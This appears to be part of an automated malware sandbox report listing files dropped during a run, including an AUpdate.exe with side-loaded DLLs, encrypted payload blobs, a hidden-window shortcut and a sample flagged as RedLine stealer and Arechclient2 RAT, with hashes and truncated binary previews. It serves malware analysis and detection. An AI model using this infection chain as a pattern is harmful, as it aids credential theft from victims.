Preview:	@...e...........^...#................................@..........H...............o..b~.D.poM...C..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.................%...K... ...........System.Xml..@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.H.....%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\AIRMax.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	2658642
Entropy (8bit):	7.995181756274222
Encrypted:	true
SSDEEP:	49152:kSUG6RddcpfF8bI+fKVgiWSgHceudIW1UWZGLNfi0HZKErY02R:+zdat8bH9zxHceudn3ZGLvHUErY02R
MD5:	E88F03FD5B1A6F0BC9C24DE7A76F79FD
SHA1:	AAB9BA8AB9EA3AD6CF3AFFECEBD7D72AC8924A46
SHA-256:	3493428927593A58FB8F3B0E156A088E0589FDA1E524B7844E18EE82782AD317
SHA-512:	5D62A3B577662AF8C5ECC52E92A1C5AA7EE8E9F927B7A33A7F48366F8EC8F9769050C763CC8F451BB7AD29B576710FB1CC0BCDE50784F5CEDECFE2A46DC56B2D
Malicious:	false
Reputation:	low
Preview:	PK.........YZ................MaxiAir/PK..........YZa1U.....h.......MaxiAir/AUpdate.exe.]k\|T....M.B.].. Q.M.b j.V`/..].Hx.Q@b..+j.]..#.AY.[c..U[k..V[\|T.\|%.Hx.j...Un\.........{w.........9sf..3...X-.%IJ..T#..^....$...u.W:.sQ.-..E.f.>'.\|.........`.On...+...2\|.&f.y.-....K.....w.\|.j{..5o\|.~#...W.7..../.7.[]_.ne.n.....p.V..s..+9}........9.'.^:..BQ.$..@.....c....RZRg...v....~\.56..'IR..HqW.Kff.X...o...r.;x.k....Yk....Ym...@..difo.O.Z..Z.$.J.... <E...g.O.<8xkE..7....p.h./C.J........#......m..?..../~......pu...P...=..:.=gv)...H?...tp......WR.`r{.Q....?%.2~'.....Pm....6.....V._e..$I9.........?..Y.....p.q....h.!..,....(....o..n.9.R'P.-..G...0Ci...P.n..Yw.),..'.#.c..Ph..:D.....?.h......Y.q...F._JV1.(..L}.B..P...2C/Qh-....Dmo...H/BA......z^.=Pp.s......3. ...d.=...{."....A...LG....zF..eFl.].........{........&E.W.....j.of.@..*Y.jS.'..S".2.S....zTQ....E..g.\Q...YQ{.?.f..s.#A.Pm.^T.02.AHQ.ef....~.$..:.......J./3....Lu.#s.e.._=.......R].....Ptat.V

C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	299368
Entropy (8bit):	5.902673966274276
Encrypted:	false
SSDEEP:	6144:XInnwOqmfhD7E/pclcB6BQVnhLbm6BN6BNb:Ynmgh0/1oQVhX3UNb
MD5:	A23DE5ABE855D2A1B1D1ABC22D0B110F
SHA1:	79D0D561D67CFE310E2447770DD593F2EB39C862
SHA-256:	DA28BEA9B3B92E61D6D1FAA3A009AE48AFE8FA2AAFAE83F621A8A67C72F2307A
SHA-512:	F319FCAFA5D8C31A2E3C094244893AC718C565D86CADF76CB7F6561CE3170664C58EBA73F704F9BBA93E027409A6BC723C479BEFF8EFA2B2510A0FB3E0B851FF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........m................{.........................Qn.....Qx........4.....................Rich...................PE..d....6.K.........."............................@....................................\|.....@.................................................<........................z..h...........\...8...............................................@...4........................text.............................. ..`.rdata..............................@..@.data........p.......P..............@....pdata...............f..............@..@.rsrc................x..............@..@.reloc...............t..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MaxiAir\CDLMSO.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	531800
Entropy (8bit):	6.279775188993657
Encrypted:	false
SSDEEP:	6144:9/gvJN9iufBkys8jrPS/eZ8rhwIWv8csy/+BK9zptTJhCAhCq1vOugtIxlJtWxC8:efxsVQ8dwIWEcsSxDgEUcAQf1c
MD5:	F2BCF645C733B214C5B4D7C277FB29D1
SHA1:	C56B38C62480E993416A1C394841D0C6B5F4C75F
SHA-256:	6A2AB96C24100A9FC6BFA133C0BFACB44FC91FBE99B66E72733587196FD86D42
SHA-512:	64284E0A18CBDE9A3E2736BFB3AF5D614ED72128E861E4D89A04972CCFF2434A50472E604D07BF0A33CFAA0C85BDBB799F529A926CED83F0C2865D394645C39D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Y..L8.L8.L8.k...@8.k...O8.RjY.K8.E@N.O8..wK.M8.E@^.A8.E@H.N8.L8..9.E@I.M8.E@Y.W8.E@O.M8.E@L.M8.RichL8.........................PE..d...z..K.........." .........0.......:.......................................@......{.....@.................................................H....................w......X.... ..........8....................................................}..@....................text...]........................... ..`.rdata..HY.......Z..................@..@.data...P6...P...0...8..............@....pdata...w.......x...h..............@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MaxiAir\MSOCF.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	221048
Entropy (8bit):	5.9929993067336484
Encrypted:	false
SSDEEP:	3072:xv+vUY/htBF9AybG18qx5xVOyI5dtsJBaHuJrqOg7TCv1PGOZ4tWQBfT/Dr95d:xWsY/dGpnxGEquQOg7OvBGOZJmlL
MD5:	600171A5C7862654CBCD5DFF07ADAE9F
SHA1:	A9F91740C9D8FDE11385D1C5B6E8515251861015
SHA-256:	1C5D1CB49A9BBBAB8E4BD9A1E39546BDE76C47A4ED654D682838939EBF37D826
SHA-512:	48135F140D9C9E6C66B1A67760E0A6CA22E1D7E61E77DB811E25C9882CC07EBEAF7631149E108CC8073D88D3BB9F9B5ADDCFCCAE6D8CD908715A6122E7583B81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q45h5U[;5U[;5U[;+..;6U[;<-.;7U[;...;4U[;<-.;8U[;<-.;7U[;..6;6U[;.. ;0U[;5UZ;,T[;<-.;4U[;<-.;.U[;<-.;4U[;<-.;4U[;Rich5U[;........PE..d...o..K.........." .........h......................................................T.....@..........................................n..0.......P....p.......0..P1...H..x.......<...D...8...............................................x............................text............................... ..`.rdata..4...........................@..@.data...@,.......&..................@....pdata..P1...0...2..................@..@.rsrc........p.......2..............@..@.reloc..<............:..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MaxiAir\OISAPP.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1530224
Entropy (8bit):	6.064461398583844
Encrypted:	false
SSDEEP:	12288:kuNQzstd8Hj7O6O6QEx4P1S836BZY/zdx7S95I72s1dRqi9t1Kl3XKFxE26rUyuL:kuNQ6d838ExJE7XbI36xE2CU2pZQ
MD5:	D9D53415B3E31A842288910FC94676AD
SHA1:	D02F2A6240AB4B124A6011D137BAA53B431A5B86
SHA-256:	C3F04BFBE47FF667714AC2D487E92179528E7D52C45582C52763596BC3A723D8
SHA-512:	6D22F5CF505927F398E6005A1E19FCE1B1835B4E918B4BB02AC9CE2AC7942EB21047B468F2C2258A92601060B8665961F568FBF89A6EFD7D9E14D4F72A57B312
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}..............................................~...............h.....................................................Rich....................PE..d....6.K.........." .....j.......... .....................................................@.........................................$Y......\|x.......P.......... ....B..p....`...(...w..8...............................................H....g.......................text...=h.......j.................. ..`.rdata...x.......z...n..............@..@.data...p........r..................@....pdata.. ............Z..............@..@.rsrc........P......................@..@.reloc...(...`...*..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MaxiAir\OISGRAPH.DLL

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	368504
Entropy (8bit):	6.551999289937223
Encrypted:	false
SSDEEP:	6144:Cp7Pz/VT+T8IO4Aw67u+rFDqaKuXbilxRP4fnOJYPJi/7eKNYUAl/UOyNx:WBIz76hFDG2Wxae8Kdi/mNx
MD5:	88E0A6A9EFCEF124D24EC5F11268B841
SHA1:	F6A1C6A9B3D31224B9B3341A0DF259139F86F41B
SHA-256:	EC0CC0BF0A2D2E3ED398B4877A5A7CCF502EDB8DC63B84B0CA3FC475911D35FD
SHA-512:	598DB0E4165441A17BEA67EDDFAC44320DC9833DAD8A36EA4060FAEB4EE49A76D4AA0A1A64536870BF92FDBA9A56AA0F4CE06DA074E5A4EE0B8342931B61D91F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........p_..#_..#_..#A.F#X..#V.Q#]..#.T#^..#V.A#R..#V.W#]..#x2.#]..#x2.#T..#_..#L..#V.V#^..#V.F#j..#V.P#^..#V.S#^..#Rich_..#........PE..d....6.K.........." .....~...........@....................................................@.............................................SF..`:..x........'...@...<......x...............8....................................................6..`....................text...5}.......~.................. ..`.rdata...t.......v..................@..@.data...."..........................@....pdata...<...@...>..................@..@.rsrc....'.......(...R..............@..@.reloc...............z..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MaxiAir\cabretta.ogg

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1261641
Entropy (8bit):	7.9458592442601015
Encrypted:	false
SSDEEP:	24576:IVvqKvSbbOHF4IlTNwjY67XX0FRlDaXQynW9ie4ZMiH9C8r6JkdFe:pkF7Tw/ulRyDmFZ
MD5:	714372138B0275FA7CAD30CF08BBB88E
SHA1:	B9C86FCECEC04C8490CBCA3AF9E325E814A44A7C
SHA-256:	A6303B0EFA8A8584F2748D0A6164628917CEF367D38FD9AB5B1B3D75BF847F87
SHA-512:	396023F2C9BEF253761D86D99E12BC6730C61ADFE8773C3C3C8749BDDDFB44A3DEA607996CB3ED6E93F571022482FBC56F4C66386AA602C5A95DBE1F21D9261D
Malicious:	false
Reputation:	low
Preview:	.t.VKm.Q.p.K...Nyn.YW...m.w.^I.[._bVSklr.aDUZMB.tj...LuFZQ.oQ..Zw.RSk.....vA.o.gFPv....O.U.EYs[..fs..D`........O.[UkYdF.lEU.v.HFDgi.Z.I...a].Sb.f.x..t......RdEt..p..X.Z._.k.[pX....D..q.fMx`[.a...k..q^.vt..[..P.....pQK..pT....RdENt.Gk.b..d..O^w.....e..O.._.uO..Es....m..AG.X...A.CGi..b.vElxt.uHj.Y^......K..OuR.X..w.fxCvuSW..].MoD....A.ZC_akNq..MKG.....ARS....pQ...w....gm....pPRZBL..Tn.Xq..P..BheF.`.Y...\O.\.......d..U..n...ZY.f.Dn..d.....l.vr.af.Bn....DeT.\i\W.IA..c..I..u.Oe...qQ...R....t.n.hP.K.C[_I.P...F.DI...yO....X.....y..YYuL.N......M...D.T..Jw.u.u.Ojk.qCw..L...s.L.S.yCvZ`kTx.Au.B.....R..y.tOmgR.w.v.G.S....W.S.GBrL.de].EI...J.....f..iRKW...Jl..u..fYfj.O.....n.C.L..].AfIHHF.X.N.._.D.aSTE.....sTc.HO.N_t.C.p.^Wc..n.a.V`o^q.c....v...MO.....V.iXn.U...PQ.IdqEjAJ...pt.mh.o.vH`CiT..IX..byw...nL.PUPyE...n.P....]D.t..E_..u...bB..ujI.....ZR..HB\.l...JDFb....g.....a....EQ..ov.BsJ.I...R.....v_R.....ri.Cao.mi....dH...\M....M..AWc_...[b].`Bi..Bay...M.JEP.xXt.]J.f...tH..yLa...mE_L..EheD..V..wBZtI.u

C:\Users\user\AppData\Local\Temp\MaxiAir\msvcr90.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	642176
Entropy (8bit):	6.613198750807631
Encrypted:	false
SSDEEP:	12288:ED6NCL00fQwUX9iOv2ME0cbejlzKaswsmqy7oh41oU:E2CLFffUNiK20yejFsZmqy7ohO3
MD5:	ECBBED2F44AFB22BA1F9EF8603C261B5
SHA1:	98C1C3E0960B3653B772E71A5EA0B63362EBDBD3
SHA-256:	75613E14C26C84A21763CD315BDB3129C997F1C28DFBC3932379970901A22820
SHA-512:	BF76CB53F81278F65E2E4E3A8EC6E7B2246FE2A53E43DAD49E84B567F73B7090D0EB915EA9C183DA38B4A0AD03FF40CE4CCA63B8609F467E40C4A3CACC394CBB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........g.u...&...&...&...&...&...&[..&.~x&...&.~n&...&.~.&G..&.~i&...&.~o&...&.~j&...&Rich...&........PE..d.....i[.........." .....H...........&........bx.............................0.......w....@.........................................`8..Cx..,'..(............0..$E........... .......e...............................................`.. ............................text....F.......H.................. ..`.rdata...P...`...R...L..............@..@.data....d.......<..................@....pdata..$E...0...F..................@..@text.....'.......(... ..............@.. data.....Y.......Z...H..............@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MaxiAir\retro.sql

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	47531
Entropy (8bit):	4.838536917319029
Encrypted:	false
SSDEEP:	768:JQbQpF8oGFNEsXDLPo/8vO+ni4oO2KZ+zNZV6g1GpdgTj9HVXt+jcxbxzP+HCY9f:9pFd27oKOVO2KWZVLVHltpfP+D
MD5:	1A87DB16966BE85D66139E49A8A3902C
SHA1:	087E9EF983FC573EC635A6886899F78130B7371F
SHA-256:	88B65E0902439031FB09A6C16CA552D2E6237105AA42FF74921C416858BAA86A
SHA-512:	BBFFEC4627DEC546AD8B10EB3672B646DE4E0D9958FBA6719DA5918B0B65B38E43B3C7D3B9FB7FD6778332EFD477399DCC72E44EE7E94C9B9D192759A2B2A41B
Malicious:	false
Reputation:	low
Preview:	ViBe._....aPh.Rw[xOn....F..EZ]A.kot...h..w....EC.h.gYwj..mq.g.G.j..i..pu..nCw..x.e..VR....w.K....VBgHo.ciBZkxadd..Z^T..B..wg.._QA....]..v...nsUC..].rq.R.H....XODr.ccE.L.er`P.Z_Oy.K..CC.v..IVX....J.l...K.Gv..IY[xIGGh..VV.g...A...R.R.rZ...Vh.x.j`.....PP...GaM.Uc....Od..B.\K..Zd...R[Q..VM....u...t.....d.......JT...L...v....je.BQ.m.......t..m.sf..el.W...._y..w..J..pk.i.b.O..epaTR..x.\....T....vD.vT.Y.BM^.J.J..P.g.N....l.pDNlSJO..x.T`....rn.[D....nCo.r.s..jm.mQa\..pMJ.._N.q..FyS.Gw.dKkC..p.NPX.Ij.`.[.V.XIG.QnO[iS..acM..L...cH...O...Pq...l.j.`.qG..bi.n.fI..^.T.n........a^QJW.ge...B.jfg.Bvsd.Z...]..C....APH.TPkU`...[.q..yMq...M...C.po..[T....U.nwB.g...A.Fpb.v.IV....gU.o...._GChx..vZPR.SoB.qvW[r.cG..\\Z..OTh.x..Vh.n.......C.x.P..UMdp[.gE..YVO.......s._.Djr.I..I.....M.\_...J.es.ajQX....A.......oo.a..I.JWC.a....ti..w.t....\........PR.....ZW.TSeKv.S..gG....IM.....sHAt..UCr.\db.R....C]gMVVF..ECHa.Mm...t._X..LuN.Chi.g...X.qkjaXA...^....Lu..e.vm.....ofo....h........XewiM.i.JEsuXw...E...Jq...._.b.c..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3muufqfi.53n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ebha53g.3uc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gkzz0gmo.ext.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5joxens.cmn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\bihsngcs

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	773632
Entropy (8bit):	6.932607875028761
Encrypted:	false
SSDEEP:	12288:ulPcUdmdXsyWvjwEzdIhB76nBdZhXQXOOzpgFPC:Ory6cBun/Qe/C
MD5:	9837C704E7BDD8E55B53AD43A5A968CA
SHA1:	58FA700B7B8CF4CA671F3E315E60216D4EFCF89C
SHA-256:	2F2C147A2976C8D6EE587FF9EA334FFCE4F140A738989C2D813616B4801381F2
SHA-512:	9399DD06BFDD957F1862401EABBBAFDBCFFB8A3E74B8CBFA3466864709F93AE2162769E7080FBDE76C5D0B690BB8AC9930770FF322A55EE13AF8427EC800D971
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\bihsngcs, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\bihsngcs, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: C:\Users\user\AppData\Local\Temp\bihsngcs, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L... ./]............................^.... ........@.. .......................@..................................................S............................ ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................@.......H.......$....>...........................................................0............ ....X...%-.&so...sp...}-..... ....X.~(.... ....Y.).... .....7...%.....~'.... ....Y.)....sq...~(.... ....Y.)....or.........%.~s.... ....X .... "...a~s.....dX(.....%.~(.... ....Y.)......~(.... ....Y.)....~0...%-.&~/.........st...%.0...(...+}......0........... ....X..{M.....0............(..... .p..Y. ...@\...\a..Z3.+.~s.... .M..X+2~...... ....^ ...l_.3.+. 4.rc H:;..+.~s.... ...X..#.......@.

C:\Users\user\AppData\Local\Temp\dbsvlclosldf

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Feb 27 18:25:12 2025, mtime=Thu Feb 27 18:25:12 2025, atime=Tue Feb 25 22:29:54 2025, length=299368, window=hide
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	5.004234441161052
Encrypted:	false
SSDEEP:	24:85oOD8k9LqRLgK8ynp1erAgbVArrtvGpDz/qygm:85oOD8k4RTKcgbarrtXyg
MD5:	987440DEC5E50C3290F342413B9F258D
SHA1:	0A621C1F8849FB9458D91C809FFBFB8097B3DA94
SHA-256:	D9B4E45E81E215BA50080AF84B2DD73525A8ADA7B6C6086460B9283B35517231
SHA-512:	1FF0EF410F9670BA2B13CD0CD1B9172C844AF06DD53A5E9ACAA86396220EDA64AADD0AA75224869B1D2B784ACECA8923F6A9744B7E716DED65C3EA92ECCA285B
Malicious:	false
Reputation:	low
Preview:	L..................F.... ...gdGRM....B.RM.....f,...h.........................:..DG..Yr?.D..U..k0.&...&.........{4...i..0M......XM.......t...CFSF..1.....FW.H..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FW.H[Z................................A.p.p.D.a.t.a...B.P.1.....[Z....Local.<......FW.H[Z..............................+.L.o.c.a.l.....N.1.....[Z'...Temp..:......FW.H[Z'...............................T.e.m.p.....V.1.....[Z'...MaxiAir.@......[Z'.[Z'............................#..M.a.x.i.A.i.r.....b.2.h...YZ.. .AUpdate.exe.H......[Z'.[Z'...............................A.U.p.d.a.t.e...e.x.e.......c...............-.......b...........% .w.....C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe......\.M.a.x.i.A.i.r.\.A.U.p.d.a.t.e...e.x.e.........\|....I.J.H..K..:...`.......X.......960781...........hT..CrF.f4... ..i..@.........%..hT..CrF.f4... ..i..@.........%.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.

C:\Users\user\AppData\Local\Temp\fbea4e2e

Download File

Process:	C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe
File Type:	data
Category:	dropped
Size (bytes):	1504991
Entropy (8bit):	7.730949244645376
Encrypted:	false
SSDEEP:	24576:0N9rtQu75qh1Xe0rlODP5QL2fsBVRYvZr40aEUS0g4oZSnmVijLd7nmP6cBwaklB:0N9hQs81O0rtLI8RA4rEUVgBSmViXdj5
MD5:	C2728161EDA04422B6C771F1F1918DED
SHA1:	7655A1700DA1E3C62140AE9E1836DC4CADEFCF4A
SHA-256:	0F0039678030DBB0EE2F488CAF96FB65D5CF273945EE50E2DC90E5EF81FD750A
SHA-512:	4C1EED20A7C0354BC08EBB9C0FC0E8E483E7E8B2CD622ED7E8879337FA8B9BBCC2271ABDDCD60084E0F07EF7687291FEDFDD5BCCFA9429E6555FCE89742F0873
Malicious:	false
Reputation:	low
Preview:	..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!.k.q.k.`.v.H.X.R.L.}.C.E.].}.^.S...D._.q.E.S.G.}.^.S._.!..!..!..!..!..!..!..!..!..!..!..!.E.O.^.@.C.D.R.!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!.E.S.K.D.D.U.D.D..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!.}.o.c...g.B.E.N.^.o.~.g.K.D.E.J..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!..!...........!..!..!..!..!..!..!..!..!..!.*.!

C:\Users\user\AppData\Local\Temp\tmp8758.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC2DC.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC2EC.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	modified
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
